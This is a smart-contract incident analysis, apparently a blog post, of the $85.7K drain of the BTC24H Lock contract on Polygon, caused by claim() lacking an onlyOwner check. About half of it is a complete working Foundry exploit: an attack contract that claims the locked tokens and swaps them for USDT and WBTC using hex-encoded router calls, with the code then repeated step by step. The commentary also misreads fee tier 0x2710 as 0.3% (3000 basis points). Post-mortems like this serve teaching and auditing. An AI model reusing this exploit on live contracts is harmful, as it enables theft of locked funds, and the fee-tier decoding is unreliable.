From Lock to Loss: Analyzing the $85.7K Hack on Polygon’s BTC24H Contract¶
On December 17, 2024, a vulnerability in the BTC24H Lock contract on the Polygon network was exploited, resulting in the theft of approximately $85,700 worth of assets, including 4,953 USDT and 0.76 WBTC. This incident highlights the critical importance of proper access controls in smart contracts. In this post, we’ll break down the vulnerability, the attack mechanics, and key takeaways for developers and projects in the DeFi space.

Background on the BTC24H Lock Contract¶
The vulnerable contract, deployed at 0x968e1c984A431F3D0299563F15d48C395f70F719, appears to be a basic token locking mechanism designed to hold ERC-20 tokens until a specified release date. In this case, the token in question is BTC24H (contract address: 0xea4b5C48a664501691B2ECB407938ee92D389a6f), a lesser-known ERC-20 token with no apparent official website or social media presence.
The contract’s purpose was straightforward: allow a deposit of tokens (in this instance, 110,000 BTC24H tokens, or 110,000 * 10^18 wei), lock them until a release timestamp (Unix timestamp 1734220800, which corresponds to December 14, 2024, at 00:00 UTC), and then enable claiming after that date. However, a critical flaw in the implementation turned this into an open invitation for exploitation.
The Vulnerability: Missing Access Controls¶
Let’s dive into the contract code. The Lock contract is relatively simple, using OpenZeppelin’s IERC20 and SafeERC20 libraries for token handling. Here’s the key relevant snippet:
struct Claim {
uint256 amount;
uint256 releaseDate;
bool claimed;
}
Claim private claims;
// ...
function deposit() external {
uint256 totalAmount = 110000;
token.safeTransferFrom(
msg.sender,
address(this),
totalAmount * 1 ether
);
claims = Claim({
amount: 110000 * 1 ether,
releaseDate: 1734220800,
claimed: false
});
}
function claim() external onlyOnOrAfter(claims.releaseDate) {
require(!claims.claimed, 'Already claimed');
claims.claimed = true;
uint256 claimAmount = claims.amount;
token.safeTransfer(msg.sender, claimAmount);
}
At first glance, this looks like a standard vesting or lockup contract. The deposit() function pulls tokens from the caller (presumably the owner or an authorized party) and sets up a single global Claim struct with the amount and release date.
The problem? The claim() function lacks any authorization check, such as onlyOwner. It only enforces that the call happens on or after the release date and that it hasn’t been claimed before. There’s a onlyOwner modifier defined in the contract:
modifier onlyOwner() {
require(msg.sender == owner, 'Not authorized');
_;
}
But it’s not applied to claim(). As a result, anyone could call claim() after the release date and drain the entire locked amount to their own address. This is a classic access control vulnerability, the contract assumes the caller is legitimate without verifying it.
The Exploit: Step-by-Step Breakdown¶
The attack was executed in a single transaction on December 17, 2024: 0x554c9e4067e3bc0201ba06fc2cfeeacd178d7dd9c69f9b211bc661bb11296fde. The attacker, controlling address 0xDE0A99Fb39E78eFd3529e31D78434f7645601163, deployed an exploit contract at 0x3CB2452c615007b9EF94D5814765EB48b71Ae520 to carry out the drain.
Here’s how it unfolded, based on the transaction analysis:
-
Claim the Tokens: The exploit contract calls
claim()on the Lock contract, transferring the full 110,000 * 10^18 BTC24H tokens to itself. Since no eligibility check exists, this succeeds effortlessly. -
Swap for Liquid Assets: With the tokens in hand, the attacker swaps them via Uniswap’s Universal Router (address: 0xec7BE89e9d109e7e3Fec59c222CF297125FEFda2):
- First, transfer 10,000 * 10^18 BTC24H to the router and execute a swap command to exchange for USDT (resulting in ~4,953 USDT).
- Then, transfer the remaining 100,000 * 10^18 BTC24H and swap for WBTC (yielding ~0.76 WBTC).
The swap commands are encoded in the execute() calls to the Universal Router, using predefined paths for BTC24H -> USDT and BTC24H -> WBTC. The transaction logs show these swaps clearly, with events like:
- Swap: -4,953.025389 USDT for 10,000 * 10^18 BTC24H
- Swap: -0.76433345 WBTC for 100,000 * 10^18 BTC24H
The entire process was automated in the attack contract’s start() function, ensuring the tokens were claimed and liquidated in one go to minimize risk.
Hands-On: Proof of Concept¶
To better understand how this vulnerability works in practice, let’s examine a complete proof-of-concept that demonstrates the exploit. This POC uses Foundry’s testing framework to simulate the attack on a forked Polygon network.
The POC forks the Polygon network at block 65,560,668 (just before the attack) and simulates the exploit using the attacker’s address. Here’s the complete test code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "../basetest.sol";
import "../interface.sol";
// PoC: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2024-12/BTC24H_exp.sol
// @KeyInfo - Total Lost : ~ 4,953 USDT + 0.76 WBTC ($85.7K)
// Attacker : https://polygonscan.com/address/0xde0a99fb39e78efd3529e31d78434f7645601163
// Attack Contract : https://polygonscan.com/address/0x3cb2452c615007b9ef94d5814765eb48b71ae520
// Vulnerable Contract : https://polygonscan.com/address/0x968e1c984a431f3d0299563f15d48c395f70f719
// Attack Tx : https://polygonscan.com/tx/0x554c9e4067e3bc0201ba06fc2cfeeacd178d7dd9c69f9b211bc661bb11296fde
address constant LOCK = 0x968e1c984A431F3D0299563F15d48C395f70F719;
address constant UNIVERSAL_ROUTER = 0xec7BE89e9d109e7e3Fec59c222CF297125FEFda2;
address constant USDT_ADDR = 0xc2132D05D31c914a87C6611C10748AEb04B58e8F;
address constant WBTC = 0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6;
address constant BTC24H_TOKEN = 0xea4b5C48a664501691B2ECB407938ee92D389a6f;
contract BTC24H_exp is BaseTestWithBalanceLog {
uint256 blocknumToForkFrom = 65_560_669 - 1;
function setUp() public {
vm.createSelectFork("polygon", blocknumToForkFrom);
// Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
fundingToken = WBTC;
vm.label(LOCK, "Lock");
vm.label(UNIVERSAL_ROUTER, "UniversalRouter");
vm.label(USDT_ADDR, "USDT");
vm.label(WBTC, "WBTC");
vm.label(BTC24H_TOKEN, "BTC24H");
}
function testExploit() public {
address attacker = 0xDE0A99Fb39E78eFd3529e31D78434f7645601163;
emit log_named_decimal_uint("[Before] USDT", TokenHelper.getTokenBalance(USDT_ADDR, attacker), 6);
emit log_named_decimal_uint("[Before] WBTC", TokenHelper.getTokenBalance(WBTC, attacker), 8);
vm.startPrank(attacker);
AttackContract attackContract = new AttackContract();
attackContract.start();
vm.stopPrank();
emit log_named_decimal_uint("[After] USDT", TokenHelper.getTokenBalance(USDT_ADDR, attacker), 6);
emit log_named_decimal_uint("[After] WBTC", TokenHelper.getTokenBalance(WBTC, attacker), 8);
}
receive() external payable {}
}
contract AttackContract {
address attacker;
constructor() {
attacker = msg.sender;
}
function start() public {
// uint256 btc24hBalance = TokenHelper.getTokenBalance(BTC24H_TOKEN, LOCK); // 110000000000000000000000
ILock(LOCK).claim();
TokenHelper.transferToken(BTC24H_TOKEN, UNIVERSAL_ROUTER, 10_000_000_000_000_000_000_000);
bytes[] memory inputs = new bytes[](1);
inputs[0] =
hex"000000000000000000000000de0a99fb39e78efd3529e31d78434f764560116300000000000000000000000000000000000000000000021e19e0c9bab2400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002bea4b5c48a664501691b2ecb407938ee92d389a6f002710c2132d05d31c914a87c6611c10748aeb04b58e8f000000000000000000000000000000000000000000";
IUniversalRouter(UNIVERSAL_ROUTER).execute(hex"00", inputs, block.timestamp + 1 hours);
TokenHelper.transferToken(BTC24H_TOKEN, UNIVERSAL_ROUTER, 100_000_000_000_000_000_000_000);
inputs[0] =
hex"000000000000000000000000de0a99fb39e78efd3529e31d78434f764560116300000000000000000000000000000000000000000000152d02c7e14af6800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002bea4b5c48a664501691b2ecb407938ee92d389a6f0027101bfd67037b42cf73acf2047067bd4f2c47d9bfd6000000000000000000000000000000000000000000";
IUniversalRouter(UNIVERSAL_ROUTER).execute(hex"00", inputs, block.timestamp + 1 hours);
}
receive() external payable {}
}
interface ILock {
function claim() external;
}
interface IUniversalRouter {
function execute(bytes calldata commands, bytes[] calldata inputs, uint256 deadline) external payable;
}
Understanding the POC¶
The proof-of-concept demonstrates the complete attack flow:
1. Fork Setup¶
The test forks Polygon at block 65,560,668, capturing the state just before the attack occurred:
contract BTC24H_exp is BaseTestWithBalanceLog {
uint256 blocknumToForkFrom = 65_560_669 - 1;
function setUp() public {
vm.createSelectFork("polygon", blocknumToForkFrom);
fundingToken = WBTC;
vm.label(LOCK, "Lock");
vm.label(UNIVERSAL_ROUTER, "UniversalRouter");
vm.label(USDT_ADDR, "USDT");
vm.label(WBTC, "WBTC");
vm.label(BTC24H_TOKEN, "BTC24H");
}
}
2. Balance Tracking¶
Before and after the exploit, the test logs the attacker’s USDT and WBTC balances to demonstrate the profit gained:
function testExploit() public {
address attacker = 0xDE0A99Fb39E78eFd3529e31D78434f7645601163;
emit log_named_decimal_uint("[Before] USDT", TokenHelper.getTokenBalance(USDT_ADDR, attacker), 6);
emit log_named_decimal_uint("[Before] WBTC", TokenHelper.getTokenBalance(WBTC, attacker), 8);
vm.startPrank(attacker);
AttackContract attackContract = new AttackContract();
attackContract.start();
vm.stopPrank();
emit log_named_decimal_uint("[After] USDT", TokenHelper.getTokenBalance(USDT_ADDR, attacker), 6);
emit log_named_decimal_uint("[After] WBTC", TokenHelper.getTokenBalance(WBTC, attacker), 8);
}
3. Attack Execution¶
The AttackContract.start() function performs the complete exploit:
function start() public {
// Step 1: Claim all locked tokens
ILock(LOCK).claim();
// Step 2: Swap 10,000 BTC24H for USDT
TokenHelper.transferToken(BTC24H_TOKEN, UNIVERSAL_ROUTER, 10_000_000_000_000_000_000_000);
bytes[] memory inputs = new bytes[](1);
inputs[0] = hex"000000000000000000000000de0a99fb39e78efd3529e31d78434f764560116300000000000000000000000000000000000000000000021e19e0c9bab2400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002bea4b5c48a664501691b2ecb407938ee92d389a6f002710c2132d05d31c914a87c6611c10748aeb04b58e8f000000000000000000000000000000000000000000";
IUniversalRouter(UNIVERSAL_ROUTER).execute(hex"00", inputs, block.timestamp + 1 hours);
// Step 3: Swap remaining 100,000 BTC24H for WBTC
TokenHelper.transferToken(BTC24H_TOKEN, UNIVERSAL_ROUTER, 100_000_000_000_000_000_000_000);
inputs[0] = hex"000000000000000000000000de0a99fb39e78efd3529e31d78434f764560116300000000000000000000000000000000000000000000152d02c7e14af6800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002bea4b5c48a664501691b2ecb407938ee92d389a6f0027101bfd67037b42cf73acf2047067bd4f2c47d9bfd6000000000000000000000000000000000000000000";
IUniversalRouter(UNIVERSAL_ROUTER).execute(hex"00", inputs, block.timestamp + 1 hours);
}
The attack flow:
- Step 1: Calls
ILock(LOCK).claim()to drain the 110,000 BTC24H tokens - Step 2: Transfers 10,000 BTC24H to the Universal Router and swaps for USDT
- Step 3: Transfers the remaining 100,000 BTC24H and swaps for WBTC
4. Encoded Swap Commands¶
The hex-encoded inputs contain the swap parameters for the Universal Router. Here’s the breakdown of what these encoded commands specify:
// USDT Swap Command Structure:
// - Recipient: 0xde0a99fb39e78efd3529e31d78434f7645601163 (attacker address)
// - Amount: 0x021e19e0c9bab2400000 (10,000 * 10^18 wei)
// - Swap Path: BTC24H (0xea4b5c48a664501691b2ecb407938ee92d389a6f) → USDT (0xc2132d05d31c914a87c6611c10748aeb04b58e8f)
// - Fee Tier: 0x2710 (0.3% = 3000 basis points)
// WBTC Swap Command Structure:
// - Recipient: 0xde0a99fb39e78efd3529e31d78434f7645601163 (attacker address)
// - Amount: 0x152d02c7e14af6800000 (100,000 * 10^18 wei)
// - Swap Path: BTC24H (0xea4b5c48a664501691b2ecb407938ee92d389a6f) → WBTC (0x1bfd67037b42cf73acf2047067bd4f2c47d9bfd6)
// - Fee Tier: 0x2710 (0.3% = 3000 basis points)
The encoded parameters specify:
- Recipient address: The attacker’s address where swapped tokens are sent
- Amount to swap: The exact amount of BTC24H tokens to exchange
- Swap path: The token pair for the swap (BTC24H → USDT and BTC24H → WBTC)
- Fee tier: 0.3% fee for both swaps (3000 basis points)